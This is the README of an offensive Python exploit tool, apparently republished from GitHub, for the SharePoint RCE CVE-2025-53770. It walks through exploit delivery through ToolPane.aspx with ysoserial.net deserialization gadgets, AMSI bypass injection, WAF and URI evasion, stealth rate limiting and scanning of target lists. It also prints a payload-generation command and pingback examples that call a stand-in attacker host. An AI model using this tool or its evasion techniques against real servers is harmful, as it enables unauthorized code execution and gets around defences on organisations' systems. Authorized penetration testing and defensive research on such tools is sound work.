Divine Absolute - CVE-2025-53770 Exploit Tool

Overview

Divine Absolute is a sophisticated, wizard-driven Python exploit tool targeting CVE-2025-53770, a critical (CVSS 9.8) unauthenticated remote code execution (RCE) vulnerability in on-premises Microsoft SharePoint Server (2016, 2019, Subscription Edition). This vulnerability, disclosed as a zero-day on July 19, 2025, stems from deserialization of untrusted data in /_layouts/15/ToolPane.aspx. The tool is designed for ethical penetration testing and authorized security research only, offering unparalleled precision, stealth, and adaptability for reconnaissance, exploitation, and verification.

Repository: https://github.com/exfil0/CVE-2025-53770

⚠️ Legal Warning: This tool is for lawful, authorized use only in controlled environments with explicit permission. Unauthorized use against systems you do not own or have permission to test is illegal and may result in severe legal consequences. The author assumes no liability for misuse.

Features

• Modes:
  • Recon: Detects SharePoint presence, version, and ToolPane.aspx accessibility with advanced scoring and regex (e.g., 16.0.0.\d+-\w+?).
  • Exploit: Delivers payloads via ToolPane.aspx with robust bypasses.
  • Full: Combines recon and exploitation, with optional aggressive exploitation.
• Payload Generation:
  • Integrates ysoserial.net for .NET deserialization payloads (e.g., ObjectDataProvider, LosFormatter).
  • Optional pythonnet for fallback HTTP/DNS pingback payloads (e.g., WebRequest.Create, Dns.GetHostEntry).
  • Supports GZIP compression with explicit encoding/decoding and base64 validation.
  • Injects AMSI bypasses (basic reflection, obfuscated, or custom snippets) into PowerShell commands, including base64-encoded (-enc) payloads.
• Bypasses:
  • URI evasion: Random or fixed suffixes (e.g., /xp.aspx, UUID-based).
  • Referer spoofing: None, external domains (e.g., www.google.com), custom URLs, or internal SharePoint paths (e.g., /_layouts/15/sharepoint.aspx).
• Stealth:
  • Adaptive rate limiting with a minimum RPS floor (0.01) and burst control.
  • Thread-safe concurrency with lock-protected pacing and jitter (0-0.1s).
• Verification:
  • Robust RCE confirmation with compiled OR regexes, retries on RequestException, and customizable status codes/paths.
• Reconnaissance:
  • Enhanced SharePoint detection via headers (e.g., MicrosoftSharePointTeamServices), paths (e.g., /versions.aspx), and regexes.
• Output:
  • JSON results with forensic logging for analysis.
• Usability:
  • Interactive wizard for easy configuration.
  • Supports Mono/Wine for ysoserial.net on non-Windows systems.
  • Proxy support (HTTP/SOCKS5) and customizable timeouts.

CVE-2025-53770 Context

• Vulnerability: Unauthenticated RCE via deserialization in /_layouts/15/ToolPane.aspx.
• Affected: SharePoint Server 2016, 2019, Subscription Edition (EOL 2010/2013 also vulnerable).
• Unaffected: SharePoint Online (M365).
• Exploited: Since July 18, 2025, in campaigns like "ToolShell" by state-sponsored actors (e.g., Linen Typhoon).
• Patches: Microsoft patches (e.g., KB5002768, KB5002754) released July 19, 2025, mitigate fully. CISA KEV listing mandates federal patching by July 21, 2025.
• Mitigations: Patch, rotate keys post-patch, enable AMSI/Defender (Full Mode), monitor /ToolPane.aspx POSTs, use WAF rules (e.g., Cloudflare).

Installation

Prerequisites

• Python 3.8+
• Dependencies:
  root@kitploit:~

  pip install requests termcolor
  

• Optional (for .NET serialization fallback):
  root@kitploit:~

  pip install pythonnet
  

• ysoserial.net:
  • Download from ysoserial.net releases.
  • Place ysoserial.exe in a known path (e.g., ./ysoserial.exe).
• Mono/Wine (non-Windows systems):
  root@kitploit:~

  # Ubuntu/Debian
  sudo apt-get install mono-complete
  # macOS (via Homebrew)
  brew install mono
  

• Docker Lab (recommended for testing):
  root@kitploit:~

  docker pull mcr.microsoft.com/sharepoint/server:2019
  

Setup

1. Clone the repository:
   root@kitploit:~

   git clone https://github.com/exfil0/CVE-2025-53770.git
   cd CVE-2025-53770
   

2. Install Python dependencies:
   root@kitploit:~

   pip install -r requirements.txt
   

3. Ensure ysoserial.exe is accessible or provide its path during execution.
4. (Optional) Verify Mono/Wine for non-Windows systems.

Usage

Run the interactive wizard:

python divine_absolute.py

Workflow

1. Mode Selection:
   • Recon: Scans for SharePoint presence and version.
   • Exploit: Sends payload to ToolPane.aspx.
   • Full: Recon + exploit (optional aggressive mode).
2. Target Input:
   • Single URL (e.g., https://sharepoint.example.com).
   • File with URLs (one per line).
3. Payload Configuration:
   • ysoserial.net: Specify path, gadget (e.g., ObjectDataProvider), and command (e.g., cmd /c whoami).
   • File: Load base64 GZIP payload from file.
   • String: Input base64 GZIP payload directly.
   • Pingback: Generate HTTP/DNS pingback (e.g., http://attacker.com/callback or sub.attacker.com).
   • AMSI bypass: Choose NONE, BASIC_REFLECTION, , or custom snippet.

Example Commands

• Reconnaissance:
  root@kitploit:~

  python divine_absolute.py
  # Select: Mode=Recon, Target=https://sharepoint.example.com
  

• Exploit with ysoserial.net:
  root@kitploit:~

  python divine_absolute.py
  # Select: Mode=Exploit, Target=https://sharepoint.example.com, Payload=YSOSERIAL,
  #         ysoserial.exe path=./ysoserial.exe, Gadget=ObjectDataProvider,
  #         Command="cmd /c echo %COMPUTERNAME% > C:\Temp\out.txt"
  

• Full Mode with Verification:
  root@kitploit:~

  python divine_absolute.py
  # Select: Mode=Full, Target=target_list.txt, Payload=FILE, Payload File=payload.b64,
  #         Verify Path=/sitepages/out.txt, Regexes="COMPUTERNAME", Status Codes=200
  

• DNS Pingback:
  root@kitploit:~

  python divine_absolute.py
  # Select: Mode=Exploit, Payload=PINGBACK, Pingback URL=sub.attacker.com
  

Output

Results are saved in xanthorox_results.json with fields:

• target: URL tested.
• sharepoint_detected: Boolean.
• toolpane_accessible: Boolean.
• exploited: Boolean (payload sent).
• verified_rce: Boolean/None (RCE confirmed).
• error: Any errors encountered.

Example:

[
  {
    "target": "https://sharepoint.example.com",
    "sharepoint_detected": true,
    "toolpane_accessible": true,
    "exploited": true,
    "verified_rce": true,
    "error": null
  }
]

Improvements Addressed

This version fixes:

• Adaptive Rate Limiting: Ignores non-retry errors (e.g., 404) for success/error counts; enforces a minimum RPS floor (0.01).
• AMSI Injection: Decodes and injects bypasses into base64-encoded PowerShell (-enc) commands; supports non-PowerShell (e.g., cmd.exe) with warnings.
• Pingback Fallback: Uses pythonnet for reliable DNS pingback with Dns.GetHostEntry (experimental, requires gadget for full effect).

Testing Recommendations

• Lab Setup: Use a SharePoint Server 2019 Docker container (unpatched) for safe testing.
• WAF Testing: Validate bypasses against Cloudflare or similar WAFs with adaptive RPS.
• Payload Testing: Generate payloads with ysoserial.exe -f LosFormatter -g ObjectDataProvider -c "cmd /c nslookup sub.attacker.com" -o base64 and verify DNS logs.

Known Limitations

• Pingback Reliability: Dns.GetHostEntry in pythonnet may not trigger without a specific gadget chain.
• Complex Commands: Non-standard PowerShell commands may require manual AMSI bypass injection.
• WAF Detection: Some WAFs may block payloads despite bypasses; test thoroughly.

Contributing

Contributions are welcome! Please:

1. Fork the repository.
2. Create a feature branch (git checkout -b feature/awesome-improvement).
3. Commit changes (git commit -m "Add awesome improvement").
4. Push to the branch (git push origin feature/awesome-improvement).
5. Open a pull request.

License

This project is licensed under the MIT License. See LICENSE for details.

Acknowledgments

• xAI: For inspiring cutting-edge security research.
• ysoserial.net Team: For the .NET deserialization payload generator.
• Security Community: For insights into CVE-2025-53770 exploitation and mitigations.

Contact

• Author: @exfil0
• Issues: GitHub Issues
• Telegram: https://t.me/GOTOCVE

Note: Always verify payloads and configurations in a controlled lab before use. Stay ethical, stay legal.